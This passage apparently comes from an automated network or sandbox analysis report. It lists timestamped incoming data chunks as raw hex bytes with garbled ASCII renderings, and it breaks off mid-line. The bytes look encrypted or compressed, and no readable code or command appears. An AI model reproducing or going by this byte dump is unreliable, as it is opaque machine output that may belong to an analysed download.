55 38 53 2b 6e 5f d2 6f 01 e6 fb e6 Data Ascii: l^]xiefIqS9X&;tu5MsNsCy`3jNrXM!`GA+_"0Sf@esTpT~N+mjRYgDI~IwqU M'/7,gE\hTQGwsi ZI"u3Fvj=e2J$q CV_fN(~\|D>O4U8S+n_o
2021-12-28 17:13:33 UTC	2947	IN	Data Raw: a7 01 95 89 c4 ad 01 ec f4 5e 78 22 9e 80 22 f6 6a d6 9f df e1 16 90 fd b4 af 0b 08 8c c0 8d 16 55 d5 40 75 e6 e2 96 11 fb 39 02 e9 9f e5 bf b5 f1 a4 c3 03 a5 c8 8c 33 61 57 50 c4 f2 6c 6d 84 60 52 a2 0b e0 e6 49 bb bf d7 1f 01 75 0e 49 e3 4b f5 cd 9d 30 b5 94 65 98 47 58 5c 6e ad 0a 8c 1a 21 be c0 e7 68 3b 6a a3 56 b6 06 80 36 fd d4 70 20 5a 75 cd 43 21 42 98 90 78 ae 77 03 11 aa c3 91 f9 c6 9e f9 d6 dd d5 97 e4 46 f0 f9 5c fd d5 14 de 38 c1 50 5c 79 ee c9 76 3c af 7b e2 2f 86 dc e3 23 d5 2a fa 2f 52 27 93 57 fd fc 7a de 0d 08 64 f8 bc 87 08 a1 00 e0 8d 73 92 62 75 3b 12 06 5f 87 71 9a d0 7d d5 20 21 b1 9a c4 a6 ad 5a e9 5b 21 18 e6 b2 f3 e0 cf 24 59 d2 0e f3 0f 7b 81 2b 66 f0 62 5e 21 79 d5 52 aa 64 0a 86 e0 f0 fc 9a be 90 23 eb 40 b8 9a 79 ad e9 cf 21 Data Ascii: ^x""jU@u93aWPlm`RIuIK0eGX\n!h;jV6p ZuC!BxwF\8P\yv<{/#*/R'Wzdsbu;_q} !Z[!$Y{+fb^!yRd#@y!
2021-12-28 17:13:33 UTC	2963	IN	Data Raw: aa 04 be 67 e9 52 10 60 d8 d0 e8 8a bf 4d 12 09 e0 73 f6 49 a4 4a 82 e3 2c d0 bf cd 48 a2 99 e4 75 f0 a8 1d 6b 99 ae 8e 07 73 5d 7b 39 67 80 f1 ea 2d 8d 47 95 d6 18 10 04 86 4e e6 34 66 7e 07 c4 c7 06 18 fe 38 68 d4 13 14 ae 7a c9 b1 df aa bb 6a 86 92 8c 03 c2 9f 68 7d eb 5a 46 2e 1f 37 06 d5 23 d5 42 8d cc 16 7d 42 17 7e 31 14 a0 2c 77 9d 1b 41 83 4e c4 3b 10 87 52 84 ac 62 56 1d 4c 07 2e 09 e3 2d 99 dc 5f 00 ec 5f 02 56 0a 3d 9a ab 3b cc e2 56 ce b1 eb 90 f9 56 7b e1 97 27 1f 0c 8f fa b0 81 a4 db 51 0b a6 13 ab 72 f7 70 ff 5f 65 f8 4b 48 71 ac a1 85 ae 4b 89 a9 3f e0 50 5c 21 99 67 13 be 43 30 d5 31 2a b6 58 b2 f9 fb c3 58 90 e1 86 93 00 be 22 55 89 a5 e4 92 e2 af c7 73 b4 f0 3e 33 ea 61 13 ff 0a 4f 17 64 ab 10 de f5 6e e4 16 6c 29 fc f0 1d d4 66 9c 0f Data Ascii: gR`MsIJ,Huks]{9g-GN4f~8hzjh}ZF.7#B}B~1,wAN;RbVL.-__V=;VV{'Qrp_eKHqK?P\!gC01*XX"Us>3aOdnl)f
2021-12-28 17:13:33 UTC	2979	IN	Data Raw: bd 31 a5 ea 3d 52 4f bc 00 f6 d7 4b b1 ab e6 0b 8b 81 53 c8 07 e0 c5 43 3e cc 3a 77 bf 79 17 35 1f 16 de 37 85 9c 41 a9 6b 80 8f e0 d2 68 f1 6f 80 3a 78 10 8e 4f b6 b4 2a 77 b2 48 d2 dd 1f 59 5e 1e 41 6c ea e8 c8 a3 67 9e 19 18 79 81 5e 71 df 5d 0d 32 49 49 0c f8 bd 33 f6 6f be f8 5f de 36 3a 5e 70 9a b6 9f d6 eb b3 6b b4 65 13 a4 3f e7 11 27 04 92 9e bd d0 f5 95 4d 7e 80 e7 00 41 36 07 1d ee 86 11 0f de 64 de 77 94 ec c5 2e 5b 7f d0 65 53 5f c8 de fa c0 23 c6 ca 3e f8 26 08 7f 58 1f 72 a0 01 00 9d 3e 79 8c ac bd 14 98 c7 e3 22 65 fe 2c 14 2f 2d e3 8a 5f 0c 28 5b 14 f5 9e 0f 76 a2 11 66 42 0d fc 5c 94 c4 08 71 b1 90 9b 4f 10 fe 7a 44 76 05 bd cf b0 65 1e 2b c3 b3 e3 cb 02 cd ea 42 e4 68 1d fa c1 d0 a3 a7 06 fb a4 40 42 d8 7a 4a 57 9f c7 30 40 12 1d 50 5a Data Ascii: 1=ROKSC>:wy57Akho:xO*wHY^Algy^q]2II3o_6:^pke?'M~A6dw.[eS_#>&Xr>y"e,/-_([vfB\qOzDve+Bh@BzJW0@PZ
2021-12-28 17:13:33 UTC	2995	IN	Data Raw: 79 a8 07 1d 7b 75 6d 38 20 a7 aa fd 7d 5d 89 83 22 81 57 72 b2 fc f0 5f 09 16 94 22 47 c7 e8 3b de fa 12 6b 9a 7a 93 1c 35 1b bc c3 5b f2 b4 e6 df 16 17 60 55 d9 7e bc 8c c5 7c d5 08 33 a2 46 3a f3 8c ad 80 55 22 25 24 c3 79 98 ff ba f3 c5 f8 09 c1 66 e7 84 81 36 f5 5a fc a1 73 cb 5e d4 90 6d 74 0c 43 54 ff 5c bd 54 50 1e 59 13 2b 7b 10 f6 e7 ad a2 17 c0 76 db 61 7b 12 86 28 c3 f4 32 0d c1 90 18 5f 6c 87 64 ea f7 27 09 02 b2 29 79 df 72 64 bb 67 07 4e 60 29 8c 7a 5f 04 d2 87 ef 82 49 be b4 3c 1c 3a a4 22 92 5e 04 ac d4 79 81 ea 42 78 44 56 e6 10 8b a1 04 3b 6f cd 48 5d d9 da 49 2b 5b b4 a3 a9 3c 27 63 19 42 fc 84 e4 93 94 ac 49 3d d9 b5 3d b8 38 94 c6 a0 08 e4 73 07 54 44 35 ec fb a9 a8 51 07 91 df b7 32 b6 d8 39 7d fb 26 c4 d2 5d 45 a3 b5 a5 9f 81 a7 59 Data Ascii: y{um8 }]"Wr_"G;kz5[`U~\|3F:U"%$yf6Zs^mtCT\TPY+{va{(2_ld')yrdgN`)z_I<:"^yBxDV;oH]I+[<'cBI==8sTD5Q29}&]EY
2021-12-28 17:13:33 UTC	3007	IN	Data Raw: a6 68 27 01 4c 59 3f 46 5b 7b 9f be d9 41 75 ed ff 24 0e c9 d9 b2 1a 94 7e 75 df 30 17 15 6a b9 16 9a 0e aa d4 6b 24 8c e4 80 53 5e 5a d1 80 b8 4a b9 48 14 d1 14 c8 88 f6 e7 22 76 4b 10 2b 24 da c1 bc ca 0c 87 af e1 2d 21 67 53 c0 f7 d6 28 d4 d1 96 8e 3f 4e 42 17 d9 73 ca b6 37 34 49 52 cb 6d 50 4f da d4 d8 b8 36 5a d0 20 46 a5 e3 e7 05 3f b4 8e 30 f9 fc d7 21 b7 d4 5a 56 30 93 f7 4e db f4 43 78 7f ac 97 92 1e ce 6b 22 a8 ef 06 fc 89 a3 84 ae 6d 21 04 bf 6d 67 cb 13 40 ff ff 6b 6d 02 5b 9e b5 95 ea be f9 1b 64 6b d8 c5 0b fd 29 41 9b a5 26 7c 9d d2 d8 f9 b2 f2 db 7b bd 8d f6 dc cc b4 5a 1f 7d d2 4f bf ff 69 52 73 4f 27 6a 53 e7 69 f8 a0 0e f2 ab aa 31 38 df 42 51 4f ae 06 5d fa 3e e8 aa a2 22 e7 61 e6 af fa 19 a8 a9 14 7e 3e 5a 55 aa 2a 1c 43 10 3a 17 30 Data Ascii: h'LY?F[{Au$~u0jk$S^ZJH"vK+$-!gS(?NBs74IRmPO6Z F?0!ZV0NCxk"m!mg@km[dk)A&\|{Z}OiRsO'jSi18BQO]>"a~>ZU*C:0
2021-12-28 17:13:33 UTC	3023	IN	Data Raw: ca 7c ec ba 85 4d 5e be 2b bd ac 14 d2 8b 78 93 2c a7 e9 bf 82 94 1b 71 0c 1d 9b 66 25 a8 15 f4 8d 7a 76 8b 01 61 13 07 84 24 9f db de 7f 21 6a 51 ab 21 03 f9 3a 0d 0b e0 9e d3 e6 ed d1 c5 f4 f6 89 34 a2 69 a1 57 7f b3 d9 42 30 bf dc cc d6 11 d4 eb 41 f0 c3 2a c1 c6 42 a0 eb 36 f6 69 ad c4 39 2a 43 f9 4e 08 58 de 0b 9b ee 1d e9 38 25 46 8b 8d 3e 51 3b 39 a3 a9 f0 2d 90 51 e6 8f 28 00 b4 78 42 3d 94 83 98 a2 1f c8 c2 f2 c8 28 6d 9e 3c d1 1b 5c 48 ed 4b b7 14 9c 56 eb d5 f2 25 e0 40 aa da 8e 81 4e d2 53 c4 66 b0 d9 10 79 fd 8b 28 65 0f 9e 98 7a 21 88 32 3b f0 f5 3d 25 07 ab 98 64 5e 91 16 1f b7 0d 3c 40 9b 82 6d 10 10 04 83 76 3a 54 23 24 69 d6 39 50 d9 10 7b e9 f7 df 70 86 f4 6d ef 48 87 bd e2 98 7f 93 d1 6d ef 87 cc c3 4b 99 e7 17 5f fb 68 cd b9 90 c8 8d Data Ascii: \|M^+x,qf%zva$!jQ!:4iWB0AB6i9CNX8%F>Q;9-Q(xB=(m<\HKV%@NSfy(ez!2;=%d^<@mv:T#$i9P{pmHmK_h
2021-12-28 17:13:33 UTC	3039	IN	Data Raw: 4d 8c 39 eb 57 d4 39 c8 82 b8 ac fc 49 a1 0f ce 12 57 04 52 26 37 9a cd 30 8a 05 8d 4a b1 41 9d 47 4b 77 96 1e a5 7a 32 03 c8 85 33 c6 8f 37 21 2e 0f d2 5e 56 15 a0 60 66 40 2b 52 ee b2 3d f3 6b 82 16 86 d0 f7 c0 2a 77 3d bb 58 fc da 7e bc df 5f 31 15 fb 2c 62 41 a1 e5 64 ca 6d 43 ff 8f c2 1c dc f9 35 77 ea 40 ec 90 66 92 a6 62 fe e8 3e 21 90 9d d3 78 80 9c 18 22 b6 ef 9a 62 03 3d c7 a7 30 8f c7 2e 81 68 00 df 15 88 f2 dc ab 93 08 ca f9 32 5f a0 56 e6 f3 60 fa 52 51 11 6c ee ec 47 f1 d8 4a 8d 5f 69 7c a0 e9 38 eb 3e db b7 28 fd b7 6c 0a 0b 07 64 11 8d f7 9e 4c 78 cc a0 95 d3 b5 1c 31 3b a0 e8 73 f0 12 06 cd 3d ed 60 76 fe 16 3f d9 d6 f8 a6 2e d9 18 be 65 29 14 eb 98 9d 28 14 ff 41 6e 3a d7 5b c1 f0 27 ed ed 8f 0f a2 e6 d8 c1 5d 8d e5 d6 20 66 e8 1e 77 3b Data Ascii: M9W9IWR&70JAGKwz237!.^V`f@+R=k*w=X~_1,bAdmC5w@fb>!x"b=0.h2_V`RQlGJ_i\|8>(ldLx1;s=`v?.e)(An:['] fw;
2021-12-28 17:13:33 UTC	3055	IN	Data Raw: a7 0c b3 94 39 ed f3 ac 14 1e c0 bb 58 9d c8 0c 1e 82 aa 3f 10 ae 73 f0 57 20 db 4a 4c 60 4f f6 21 78 a4 f3 98 d3 15 d3 3a dd 05 7d b0 53 cb cd 4c eb e3 f8 26 43 b9 0c 73 0f 95 f6 cf 32 45 c4 ec a5 33 de 98 42 33 90 ac b5 14 e2 b9 84 9a 43 7d ee 26 cb 6f 9d b6 d8 ce 99 4a 8f 75 a6 92 b3 21 c1 fa da b9 0d 19 29 42 f1 7c b1 4a 42 b1 ae 77 33 32 b7 15 36 cc a6 33 e6 48 fe db 7d c2 ae 89 d6 19 77 c3 70 80 40 18 bb e3 f8 8d da 14 3f 25 8b 8d 4a db e2 0a c4 20 67 97 1e 35 0b 9d 9c 9b 8e 50 32 9f 66 b8 2e 5d e7 51 ad 6e 82 4e 1b c9 bc af c6 dd cd 67 02 f2 11 81 3e 54 1b 96 a6 73 4a 2f 11 55 a0 47 6f 69 db 9d 0f 06 36 f8 07 4c 08 6c 87 d0 83 dd b3 40 a0 17 e6 5e b5 7b 0d b5 71 45 0e 43 20 b6 d7 5f 33 4b b5 9a 1b 12 a8 58 b4 a8 58 b1 1e 2b c2 82 f6 eb 49 cb 9a ff Data Ascii: 9X?sW JL`O!x:}SL&Cs2E3B3C}&oJu!)B\|JBw3263H}wp@?%J g5P2f.]QnNg>TsJ/UGoi6Ll@^{qEC _3KXX+I
2021-12-28 17:13:33 UTC	3071	IN	Data Raw: 81 9d 30 a4 5a f9 fc 22 d1 45 88 f9 24 a0 ce 47 88 9b 54 15 be 5e 9a 1e 04 8f d0 0f 68 1e 47 6b 52 83 fc d7 e2 b4 24 7b d2 ad 3f 8c 64 84 26 87 3e 08 e8 99 cb fd 46 04 44 e2 58 6f 79 cd 2d 1b f9 f0 1c 08 0d 6e 42 15 ce 2b db bc 62 55 e5 94 76 a3 ac 71 63 4f 4d 9d b5 b9 68 ab 39 6b c3 39 37 a1 5a d7 24 62 67 43 1f 09 87 d0 84 7b 8c 95 b6 c4 bd c3 d3 00 b3 c1 8a 92 b0 b9 82 7f a2 99 f9 1a 6a 1e 68 23 89 e7 7a e6 6f 70 21 17 dc 0b 38 fd aa e0 16 a4 4d a8 c7 eb 2a 5f a8 a0 ee 94 c8 a7 7a d6 be c0 fb 58 75 b6 3f f0 e3 1f 08 07 61 db 26 e4 5b 76 aa cc 41 26 4c d6 18 44 70 54 29 ec ea f9 c5 bd 1e 0e 37 03 ff 17 79 84 a8 a6 17 39 41 6a ea f8 2a a0 71 e6 a7 13 a6 2e f1 c4 8a 2c 95 48 1c d2 fd f6 c5 f7 7f 4b ff 2d dd 37 4a f0 d3 a6 82 90 ae 3f e4 ed 53 a1 2b aa e7 Data Ascii: 0Z"E$GT^hGkR${?d&>FDXoy-nB+bUvqcOMh9k97Z$bgC{jh#zop!8M_zXu?a&[vA&LDpT)7y9Ajq.,HK-7J?S+
2021-12-28 17:13:33 UTC	3087	IN	Data Raw: a3 ce 54 a7 1e ae e9 54 a4 05 b4 8d 10 34 c3 38 47 fd c6 14 0d 8e 99 26 d2 e8 3c 69 57 53 10 a7 c7 c4 69 29 9c 34 84 a9 d1 15 39 55 3f b4 ea c0 ad 26 f1 46 0d 30 a3 b9 2e 33 da 0d 3e 6b be 0f 3b 71 7d eb 67 b3 a9 7f d1 2e 6b be 0d 39 3c d5 78 83 e3 cb 97 9e 2b 9a ad 06 63 36 11 2f 7a 41 0c f5 8f ed e9 05 9c 93 5d c4 e6 04 4f 62 32 27 67 ad e6 e6 82 65 82 d1 02 6e ba 26 09 4a bf 5a 54 01 2c 5c 31 11 8d 0f 31 13 47 f1 db d1 08 96 f1 8c 40 e4 6d c2 35 d8 f8 d1 bf c5 a1 70 07 20 bc 9c e3 4f 84 5b 26 db 86 02 bb ff 4e 2a 28 48 0b 3d 5f 9c a5 e3 4c f6 8f 03 35 51 a0 bf 41 86 46 ae 8a 85 9c e1 1f 4d 61 30 25 6c 0f 50 f5 5d 46 00 c1 52 9d cf ee a2 f4 f3 18 97 43 45 ea a6 61 2d 9e c3 20 63 25 6b 0f c4 ee ff e9 4c 47 70 f0 71 13 18 4c 05 55 a2 ce aa cc ad 59 75 cb Data Ascii: TT48G&<iWSi)49U?&F0.3>k;q}g.k9<x+c6/zA]Ob2'gen&JZT,\11G@m5p O[&N*(H=_L5QAFMa0%lP]FRCEa- c%kLGpqLUYu
2021-12-28 17:13:33 UTC	3103	IN	Data Raw: ef aa eb e3 f9 29 2c e2 aa 7c 47 b7 40 5e 28 a1 af a7 f4 74 d8 35 ee 18 63 0c f6 03 f4 94 8b 74 05 e7 1f df cb 54 36 2a a8 08 7d 6d 6a 5c bc f9 71 fb b4 fb d6 c6 71 88 47 71 9a 50 a2 d1 4f 9d fe d0 f1 b8 b1 21 a2 90 71 2c fc 20 5d e0 40 9e ef 8d a7 80 be 56 ec be ba 8e 6d 81 12 75 bd 5b 20 5a 29 5f d0 48 41 7d a3 35 86 9c 96 b8 9b 34 51 5e 89 30 98 e6 15 47 20 d7 34 0a ff c9 31 e6 34 87 28 08 7e 84 a8 a8 3a 02 01 48 c6 04 11 ea e8 cc 25 1e c5 e3 3b fc 8f a1 d5 a2 a1 65 7d 80 01 76 e5 26 98 ae 8e 4b ec 57 d7 8e 3c 05 8b a9 eb b6 08 47 75 3b 4f 64 4e aa 2d 15 3b 83 7f 4c fb 2c 38 87 8c 92 01 5e 50 e5 8b 98 6a 11 3d 80 78 76 4b 74 38 77 be 7f 01 f9 c5 6c a0 30 ae 16 5a ef b7 32 f0 ea 66 89 1e 11 ba 69 6d ce d4 f2 d0 1f 9b 79 ca 14 5d 0e 7f 59 e2 6c 87 19 53 Data Ascii: ),\|G@^(t5ctT6*}mj\qqGqPO!q, ]@Vmu[ Z)_HA}54Q^0G 414(~:H%;e}v&KW<Gu;OdN-;L,8^Pj=xvKt8wl0Z2fimy]YlS
2021-12-28 17:13:33 UTC	3119	IN	Data Raw: 12 ed 38 9b 97 29 a8 b5 c8 48 d8 47 8e 8c 68 73 2c 75 7a c5 ff 75 4e 3a 04 7c a1 bb 6e 0d df 2f de 56 98 23 2f 25 34 4c 92 44 df 6a 2f e1 47 b8 20 ef cd b5 15 c7 ab a1 73 fe ea 2b 95 ea b6 f9 8e ea 64 65 e0 db 31 3f e9 d9 71 b3 22 f0 86 95 70 6a 48 6f e9 e3 20 7f 23 d0 bf b4 5b 84 a0 d0 fa 94 c2 f9 13 d1 b1 84 67 a8 6a 17 d9 e8 df 49 50 f7 4e 7c f6 33 97 c2 3f 95 3a 0f a2 28 39 2b b4 72 6a bc 3c e5 de 78 e6 03 99 bf a0 ca d4 33 5d 9c b3 86 c3 c0 49 e0 45 ad 85 e7 f2 86 95 40 0c 33 de d9 c2 fa 17 6f aa 86 31 62 8a 85 1a 14 27 f9 f1 ab a2 7c d8 a1 24 1e 55 46 f6 7c 4b ee 97 2d 20 1e f4 bb 5a 17 ba f5 b6 9d b5 8a ea 87 c5 04 3d dd 3a 38 05 26 6d 7f ae 1e 4b 31 8d 33 18 2c 9a 10 c5 ee 32 30 c4 1a 7f 69 9e ee a3 59 62 55 d3 4d f5 8d 1b 36 1f 60 bd 00 39 e9 0b Data Ascii: 8)HGhs,uzuN:\|n/V#/%4LDj/G s+de1?q"pjHo #[gjIPN\|3?:(9+rj<x3]IE@3o1b'\|$UF\|K- Z=:8&mK13,20iYbUM6`9
2021-12-28 17:13:33 UTC	3135	IN	Data Raw: ce 57 15 51 90 74 ce 8f f0 f9 ab 34 9e af 06 dc 4b 3b f1 1f 93 4b 91 8d b9 6d 41 92 d2 08 6f 9d 22 99 1a ec 76 dc 03 f2 44 63 33 3d dd ce ad 41 e3 0f a0 8b 60 24 13 18 58 21 88 37 21 67 9b 50 a2 76 08 db 9c fa e7 29 39 7f 7a 32 b8 c2 1a 07 1c b9 c4 3a d2 2d 89 40 1b 28 62 76 42 90 94 10 e0 f9 a7 c1 54 22 13 be f0 06 ee 16 18 13 75 e7 08 f6 d1 2f 6d 57 57 fa 33 51 07 7a 47 f2 3c bc 19 74 ff 43 99 24 5a 7c f5 00 db 44 69 65 66 1f ff 81 3a d2 77 8c 56 f4 99 aa a1 a0 78 aa 07 f3 8f e6 7e c3 2f 2c 45 9d a1 ef 3f 7d 46 85 1c 33 c9 6d f0 84 85 09 e3 76 b2 2d 4b 25 30 08 f7 b9 46 b2 3d f8 e2 57 14 70 1b 7b 68 10 28 cf c7 df 1e 5b c8 fc c1 c4 d8 cf b4 81 27 f2 6f 3d bb 1e 6d 9d 3b 34 36 61 d7 2e 02 24 0b 9e dc 8b 13 d8 a3 0c c0 74 d9 ca 65 24 f7 19 2d bc e1 aa 4c Data Ascii: WQt4K;KmAo"vDc3=A`$X!7!gPv)9z2:-@(bvBT"u/mWW3QzG<tC$Z\|Dief:wVx~/,E?}F3mv-K%0F=Wp{h(['o=m;46a.$te$-L
2021-12-28 17:13:33 UTC	3151	IN	Data Raw: b2 10 a0 8f 45 e0 cf 03 36 6e ed d0 49 eb 35 55 fe bf ed 6a 1a 40 e8 b5 b8 f8 28 7b da b9 eb d0 3d 49 eb 51 42 45 7e 51 ff 85 37 99 45 12 97 37 87 77 91 e4 fb 3e af 33 06 19 b8 e0 ef 2d dc a3 25 61 86 f4 19 55 f4 c4 81 e0 54 e5 de 39 bb 1d aa 5f bb 67 3b ff b4 a7 9f a0 f5 61 9d 68 d4 90 45 63 e3 47 3e 2e 9f 86 9c 7c 65 41 20 90 6e 83 d8 da 1b 1c 44 b8 fa 99 b9 4d 3a 19 43 7d be dc 47 4a 72 0c ea ea cf 60 69 19 d8 e4 e5 b3 90 9f 35 c2 81 76 98 4d dc fd f1 ec c0 a3 5f 3a 36 92 02 66 4d 8e 6f 26 7f 1f af b4 c7 b8 63 5d 1f 2d db 03 9d a9 16 21 d5 6f 80 03 a6 56 51 40 19 4f 9c 78 62 1b 6c 47 11 5c aa e7 09 b8 15 8e 15 3c 70 98 14 c1 86 2b 39 e9 da eb 45 b0 2a a6 6b b7 c2 8d d1 aa 13 dc a4 9a f3 c7 a9 ef 0e d4 47 dd 00 58 43 ff 73 df ec 3b f9 b3 87 82 21 f1 b4 Data Ascii: E6nI5Uj@({=IQBE~Q7E7w>3-%aUT9_g;ahEcG>.\|eA nDM:C}GJr`i5vM_:6fMo&c]-!oVQ@OxblG\<p+9E*kGXCs;!
2021-12-28 17:13:33 UTC	3167	IN	Data Raw: 04 1e 59 ce a8 2e 99 62 33 ba 15 2c 13 fc 86 fa 55 2e fd 9f 67 8c ee 67 f8 12 76 d1 de 1c d5 2d 55 33 5b c7 23 eb 34 90 9e a5 c5 ac 87 cf e9 8e 74 43 ed 65 0e 3b 28 36 85 74 2d 9b 86 fa d3 3d 68 9c e0 a2 48 60 a5 58 9d c1 27 a1 2d 15 aa 00 28 06 d4 c9 9e e5 9f 8c 76 b9 f5 c5 f2 2c 4a 88 5e 43 94 cc 21 13 9b 4a 80 bc b9 04 61 a3 36 fe 22 12 70 38 7b 92 21 04 79 8c 53 31 2c 2d 46 ce 8a 0d 87 c5 5f e0 46 d8 de 5a d0 f2 65 db b8 28 f1 ca 5e b7 85 42 54 1f a5 1b 0b 00 97 8e 66 95 0a 24 cd 27 cf 91 2a 88 10 86 09 2a d9 3b 4c 03 86 0b 8b 96 3f 76 f0 54 78 68 04 bb 09 b5 19 16 95 73 70 bc 7e 06 74 92 50 60 95 43 34 59 b7 b3 60 26 d0 99 3e cd d1 42 02 32 d0 da db a1 e0 2c d1 24 0f 60 81 c3 7e cb ca 34 c4 c0 ba 28 09 e3 77 5a 8c 9c a3 2d 71 19 5c 6d 6e 73 75 a0 7c Data Ascii: Y.b3,U.ggv-U3[#4tCe;(6t-=hH`X'-(v,J^C!Ja6"p8{!yS1,-F_FZe(^BTf$'**;L?vTxhsp~tP`C4Y`&>B2,$`~4(wZ-q\mnsu\|
2021-12-28 17:13:33 UTC	3183	IN	Data Raw: f8 27 b2 08 9d 40 d9 4d 3d 16 e4 f9 5b 1a c1 1b f8 c3 2f fd d9 a1 b5 bc 01 d5 9a 7c 9e 31 98 68 ff 4c f1 d6 14 68 83 aa b6 d7 dc ef 2e 81 31 74 eb 79 58 e3 f9 29 e2 f7 6f cc 2e ec 46 aa d3 a0 25 dc 3f 88 f2 45 6a be 5b ab e8 f0 cf ce 9d 2e 71 fd 77 1e 44 9f 46 e0 45 8f 47 8a fd 82 50 73 bc 14 fd e8 70 ce 28 19 8f 2c cb b4 fc ac 05 8b a1 a3 23 81 bb 63 c9 0b 36 a3 4f d8 f4 ba 13 cc 07 ea 25 28 49 15 ae ab 20 57 9d 1a ef 5d fd ed 18 ff 1f a1 2e dc 31 b4 3f bb 28 66 44 ed 1e 3a 48 e4 84 61 cd 8e ed d7 c2 cb 57 98 e8 41 7a e2 35 49 d5 11 f4 12 c7 e3 64 1b 31 52 d9 ac a2 c7 a5 9a 76 de 82 5f cd 26 48 cb 83 5a 78 86 cb 91 72 d3 e9 e9 4b d0 25 ab b8 61 6a ba ac 43 3e 84 d5 24 b9 8e 5c f9 85 61 70 db 40 29 2f c0 bd 5c 70 33 31 7d 90 c6 bb 55 78 08 6c 5a 0f 5b da Data Ascii: '@M=[/\|1hLh.1tyX)o.F%?Ej[.qwDFEGPsp(,#c6O%(I W].1?(fD:HaWAz5Id1Rv_&HZxrK%ajC>$\ap@)/\p31}UxlZ[
2021-12-28 17:13:33 UTC	3199	IN	Data Raw: 47 8e 7e 20 28 50 94 22 bb ca c8 f0 f2 d6 49 cf 24 ee ab ca f1 eb 6a 51 e4 47 26 68 dc bf 8e 95 0f 65 c9 e1 4f 1e 4e 81 c3 17 26 fa af a3 43 03 56 e1 c7 1f bf 03 35 b9 b3 38 d0 a1 3e 66 90 0c e4 e0 a9 9b 37 3a c9 35 59 22 56 6c 90 56 98 f4 4c b7 f5 83 7a 34 dd ed d9 72 b9 7e 04 62 8f 48 27 ff c3 b9 3c 00 63 88 84 5f 9c 0c 25 2d fe 45 b3 9d cd c3 a6 e2 f9 f9 89 44 b2 a5 1a 93 fd 5d 22 27 ca ae ae 68 36 68 44 51 a3 03 34 ce 65 91 f1 49 fd 6a 3b c9 08 b0 56 4b 9c f7 cd 82 9f 06 b4 f3 4b 41 d6 64 58 fe b4 ff e1 5e 88 42 b4 ff 15 6d 43 fc 55 cf 50 64 02 9f 15 96 44 24 fa 15 05 e4 4f 50 86 72 b4 44 e3 82 a6 d5 a1 a7 41 dd 59 c1 64 fe d0 78 a3 74 d4 bf 15 70 03 db 19 47 d7 d3 e8 0e f0 e4 17 85 8c 1d 63 c3 43 38 96 33 b2 75 7e 40 ef af ed 96 5e 76 06 5b ec 42 6f Data Ascii: G~ (P"I$jQG&heON&CV58>f7:5Y"VlVLz4r~bH'<c_%-ED]"'h6hDQ4eIj;VKKAdX^BmCUPdD$OPrDAYdxtpGcC83u~@^v[Bo
2021-12-28 17:13:33 UTC	3215	IN	Data Raw: b7 71 3b 6d 34 1b 56 82 7b fe e9 8c 3b 6b 37 a2 5f bb cd 51 28 9e 17 f5 49 c2 c0 95 f8 b7 14 9d 27 6f 69 9b ac 71 00 a9 6f ae 85 57 08 77 28 87 9c cc c1 10 72 a5 72 23 71 c8 b1 21 4d 67 71 5c e3 75 1d 50 ea 02 da 3e 0d 49 bb bf 25 6f 32 45 83 c0 ae e6 1d 69 5f bb 20 46 79 31 54 82 d1 3d fd ce ba 19 47 6c 0d fa f1 db 50 2e c4 84 7b 7b c0 d0 e1 52 6d 06 52 18 80 24 8e c5 01 97 31 13 8e 10 0d 0b f5 65 41 76 d4 ba aa df 6a 19 1c f1 c2 48 12 01 c2 42 6d ac 19 c5 33 8d 2d 82 98 36 ff fd 10 ee b4 c6 46 51 c4 0a 00 e8 6c b4 8b 5f fe 08 3c f6 78 55 ba 63 b1 ef 31 18 83 6c dd 0a 4b ba ba 9e 59 d3 f3 8f 54 c3 76 7d 55 5e e6 d1 d1 28 7c 17 0f d6 1c bb 78 29 0c d4 9a 91 e5 ec 42 ac 64 a8 9c b3 bd 57 74 38 47 2a 63 a6 0d 18 d1 8d 79 9f 39 2a 23 28 19 f8 18 ce b6 b2 b1 Data Ascii: q;m4V{;k7_Q(I'oiqoWw(rr#q!Mgq\uP>I%o2Ei_ Fy1T=GlP.{{RmR$1eAvjHBm3-6FQl_<xUc1lKYTv}U^(\|x)BdWt8Gcy9#(
2021-12-28 17:13:33 UTC	3231	IN	Data Raw: 36 eb f6 a9 db f1 1d 37 9e f4 83 c5 18 88 0f bc 05 10 0e 32 70 4f 91 18 e5 05 c0 46 97 34 88 ad 8a c9 1f ee 1e 27 17 d6 08 89 2d 93 73 a8 f9 12 86 37 a3 5f 11 79 70 da a6 cb 18 1f 7e a2 a4 3b fe 65 1c 78 59 77 5d 5a 0a 15 89 8f db eb 7a 6d 3e c5 bd 54 f5 bf 4d 24 76 c5 6a 94 c9 5d 72 cd c6 34 4e 9c f1 7d 99 26 81 56 92 2b c2 07 7a 8e f9 0a 2b f2 4e 30 91 58 1f 3f 34 f3 70 0a 22 91 a8 10 e9 db bb f7 cc f6 3b 15 bf 79 53 a0 49 ba c0 2d 9d 72 de 10 8f ab ab 06 bd 75 98 fd 1d 34 b6 19 6b f0 d9 77 61 98 2f a2 59 3b 06 0e 00 03 53 71 37 89 c2 6d 24 9b fb 49 57 91 94 69 e7 88 4e 83 09 6d 31 38 2d a9 df c0 5c 76 eb fe 25 cf e3 5d 08 80 d7 b5 8b df 7d 7b 25 fe 0e 5f e8 94 6a 52 8e cf 8f e2 14 23 47 62 f7 ca c7 d7 d5 84 21 bf 92 a1 e1 38 8d 17 5c 67 71 d3 75 b8 20 Data Ascii: 672pOF4'-s7_yp~;exYw]Zzm>TM$vj]r4N}&V+z+N0X?4p";ySI-ru4kwa/Y;Sq7m$IWiNm18-\v%]}{%_jR#Gb!8\gqu
2021-12-28 17:13:33 UTC	3247	IN	Data Raw: af 9f a8 d6 d2 d0 a9 9b c6 64 8b 20 74 ad 8a 14 6b bf a0 8f 95 33 97 47 d3 da 2a 8a 7b 73 f6 aa 64 34 fb 16 5e cc 5e a6 99 32 88 7f 33 94 9d a0 a5 20 94 06 b7 62 a1 7e bd b5 6f 8e 8c 74 54 e5 97 e2 8f 75 6d 17 ed e6 52 3b 66 b8 18 cb ef 94 43 4d 20 57 a1 04 85 9e 7b c6 5e ab 6e 25 77 fc 6d c2 a6 1a 15 22 3e cb b9 b6 a6 b5 8f c1 77 3b ed 04 72 8f 38 ef d0 7f 66 5f 6d 5e 66 5d 00 0a 5b b3 d1 56 c9 2f f9 ba 5e c3 d2 8b 7b ea 68 a9 2b d6 6d 12 71 48 5f 77 7d 7e 8f 8f 8b e2 57 e1 68 13 9a 58 8e ca ef a1 b2 20 e5 9a f8 42 f2 1b f2 26 95 4f 16 3f ef 7a 3f 02 16 1f 21 90 18 2b dc 71 90 6c 